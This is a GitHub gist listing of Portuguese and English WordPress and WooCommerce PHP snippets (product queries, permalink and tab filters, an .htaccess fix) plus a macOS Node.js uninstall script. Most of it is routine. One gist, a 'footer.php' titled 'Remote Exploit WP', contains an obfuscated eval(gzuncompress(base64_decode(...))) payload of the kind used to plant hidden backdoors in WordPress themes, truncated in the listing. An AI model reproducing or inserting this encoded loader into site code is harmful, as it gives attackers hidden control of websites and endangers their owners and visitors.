Skip to content

Instantly share code, notes, and snippets.

@eltondev
eltondev / products.php
Created November 30, 2015 23:13
Produtos em destaque
$args = array(
'post_type' => 'product',
'meta_key' => '_featured',
'meta_value' => 'yes',
'posts_per_page' => 1
);
$featured_query = new WP_Query( $args );
if ($featured_query->have_posts()) :
while ($featured_query->have_posts()) :
query_posts( array(
'post_type' => 'MINHA CATEGORIA',
'posts_per_page' => 5
)
);
while ( have_posts() ) : the_post();
OU
//PEGO A CATEGORIA 10 E FAÇO ELA EXIBIR 1
<?php $recent = new WP_Query("cat=10&showposts=1"); while($recent->have_posts()) : $recent->the_post();?>
@eltondev
eltondev / uninstall-node-js-mac
Last active November 23, 2015 21:46
Desintalar NodeJS MAC
# 1:
lsbom -f -l -s -pf /var/db/receipts/org.nodejs.pkg.bom | while read f; do sudo rm /usr/local/${f}; done
sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.*
* 2:
cd /usr/local/lib
sudo rm -rf node*
# 3:
cd /usr/local/include
@eltondev
eltondev / functions.php
Created November 23, 2015 21:24
Rename URL "page" in permalinks
//Custom pagination_base
function url_pagination_base() {
global $wp_rewrite;
$wp_rewrite->pagination_base = 'pagina';
}
add_action( 'init', 'url_pagination_base' );
@eltondev
eltondev / functions.php
Last active November 21, 2015 13:11
Remove Version Number CSS & JS in Wordpress Theme
/ Remove WP Version From Styles
add_filter( 'style_loader_src', 'remove_version_css_js', 9999 );
// Remove WP Version From Scripts
add_filter( 'script_loader_src', 'remove_version_css_js', 9999 );
// Function to remove version numbers
function remove_version_css_js( $src ) {
if ( strpos( $src, 'ver=' ) )
$src = remove_query_arg( 'ver', $src );
return $src;
@eltondev
eltondev / footer.php
Last active November 21, 2015 12:41
Remote Exploit WP
eval(gzuncompress(base64_decode('eNqFVm1v01YU/it3USXiNg1+iZOmVTZBkxZYaas0aQsYWTfOTeLG8Y3s68ahQryI8dayaQJWpH3aB7qJia1DQhNCk4CNabCNCSa2shXtr+xcu6xJ6MCtbCf33POcc55znxPDwq6L9Ktnfl97sdR0zEXMCHIZZqbRpz//7vTq5sju/r0WpWXbtBfwMNqPLNOoozb1HESwY9ESiSFsl5Fnl2n4dQszoxbv3x26QRXPNphJbaRfuPnV7TurP/x4Ltqn3zrz853HwpJZib7jEqsyPLwFJwyHH/XNlx/cfBEVAH4GO7gmpSsGwDfgiiFax20AIHbZrIw4hHmOjfZiN5dM6Nnc6FQ5F+3yeWQL7qgwcrw3G4brBMJGTWwzF9FKJYaqjmcz065CprCGEXOoZQFcd3k68toKdakLNIMdB7ejEV3zy6omS4m16081f4hEMu92p3SI4FpQVgAzGXKoV+XVixRymq+ks5okS0W/wB+aryY1PyGPRWLgVhEVzS+JJ784++eDG4HX7szcBg6JQqzGKStRynjVIliTJDEvGlm6OAEQyp5jE3a5pUmKJI8taH4ScBKpIjvU8DUpmTysiUm5rElqwjDVhRJskMVFMJb52yzcxNK45WHlIBirhiaJqVprWh7T/FQKz00uHh6HyNV0aZx/oxyag/tQbTILqUjgEzYA1ph9GByKs20Al8FDQszwDD9Z+2fj3GvlmqqhNlQsBllhhiqEWC6qQt5BZvvyPCDIjEcOaSZaGU1Mqdzb7Uunrmg+lq59ef/xa9Wa4bWKvXq0CSEY12oBDUVxdiYsfLI0OzMP1RABQ93LGVFhQQ1i3dR8IwXu8QmgWtIUKfUrECSu78BLg3ecSxsEMYpdFhweAqkA99B+4RGCQxlHE3xlahc868RFJY8xAiuWhUw7tDIcCDeODsKZCCKtAx0qcMIDk+RkYXYsHUauqvV6EObK8tONn26cv6cpsgKhRQ7Y3PAYp3P+QA0
@eltondev
eltondev / functions.php
Last active November 24, 2015 11:03
Display Button Variable Products WooCommerce
add_action( 'woocommerce_before_add_to_cart_button' , 'woocommerce_before_add_to_cart_button_variation' );
function woocommerce_before_add_to_cart_button_variation() {
global $woocommerce, $product, $post;
if ( empty( $available_variations )) {
echo '<button id="newbutton" type="submit" class="single_add_to_cart_button button alt">' . $product->single_add_to_cart_text() . '</button>';
}
}
add_action( 'woocommerce_after_add_to_cart_form' , 'woocommerce_after_add_to_cart_form_remove_button', 1000 );
@eltondev
eltondev / functions.php
Created November 18, 2015 16:38
Remove tabs from product details page
add_filter( 'woocommerce_product_tabs', 'wc_remove_product_tabs', 98 );
function wc_remove_product_tabs( $tabs ) {
//Not to remove a particular tab , just add the // in front .
unset( $tabs['description'] ); // Description Tab
unset( $tabs['reviews'] ); // Reviews tab
unset( $tabs['additional_information'] ); // Additional Information
return $tabs;
}
@eltondev
eltondev / .htaccess
Last active October 7, 2015 19:33
Error to access wp-admin after migration, ranking redirect loop use the .htaccess below
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>